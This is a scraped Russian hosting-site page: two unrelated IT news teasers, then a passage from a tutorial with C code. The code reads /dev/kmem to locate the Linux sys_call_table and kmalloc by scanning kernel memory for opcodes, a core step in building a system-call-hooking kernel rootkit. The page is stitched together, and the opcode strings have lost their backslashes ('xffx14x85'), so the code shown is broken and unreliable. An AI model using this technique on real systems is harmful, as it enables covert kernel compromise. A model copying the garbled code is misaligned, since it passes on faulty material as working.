Вход на хостинг
IT-новости
20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла
Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......
30.07.2015 Ищем уникальный контент для сайта
Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......
Теперь нам известен адрес функции system_call (если точнее, это не адрес, а смещение в сегменте команд). Для получения адреса таблицы sys_call_table попытаемся найти опкод команды обращения к этой таблице.
Смещаемся по адресу функции system_call и считываем первые 128 байт обработчика в буфер sc_asm:
if (!rkm(kmem, sys_call_off, &sc_asm, 128)) return 0;
close(kmem);
В этом буфере ищем опкод обращения к таблице sys_call_table. Поиск выполняется при помощи функции memmem. Данная функция возвращает указатель на позицию в буфере, в которой была найдена эталонная строка. В нашем случае эталонной строкой является опкод команды обращения к таблице sys_call_table – xffx14x85. Если этот опкод найден, то следующие за ним 4 байта будут содержать адрес таблицы:
p = (char *)memmem(sc_asm, 128, "xffx14x85", 3) + 3;
Если опкод удалось найти, возвращаем адрес таблицы системных вызовов:
if (p) return *(ulong *)p;
В случае неудачи возвращаем нулевое значение:
return 0;
}
Функция для определения адреса функции kmalloc:
ulong get_kma(ulong pgoff)
{
uint i;
unsigned char buf[0x10000], *p, *p1;
int kmem;
ulong ret;
Функция принимает один параметр – величину нижней границы адресного пространства ядра. Это значение составляет 0xc0000000.
Если в ядре включена поддержка модулей, то воспользуемся этим:
ret = get_sym("kmalloc");
if (ret) {
printf(" Zer gut! ");
return ret;
}
Если нет, будем искать адрес по опкоду.
kmem = open("/dev/kmem", O_RDONLY);
if (kmem < 0) return 0;
Для поиска нам придется просканировать все адресное пространство ядра. Для этого организуем цикл:
for (i = pgoff+0x100000; i < (pgoff + 0x1000000); i += 0x10000)
{
Считываем в буфер buf содержимое адресного пространства ядра:
if (!rkm(kmem, i, buf, sizeof(buf))) return 0;
В этом буфере ищем опкод команды push $0x1f0, который, как нами установлено, равен x68xf0x01x00. Для поиска используем функцию memmem:
p1=(char *)memmem(buf,sizeof(buf),"x68xf0x01x00",4);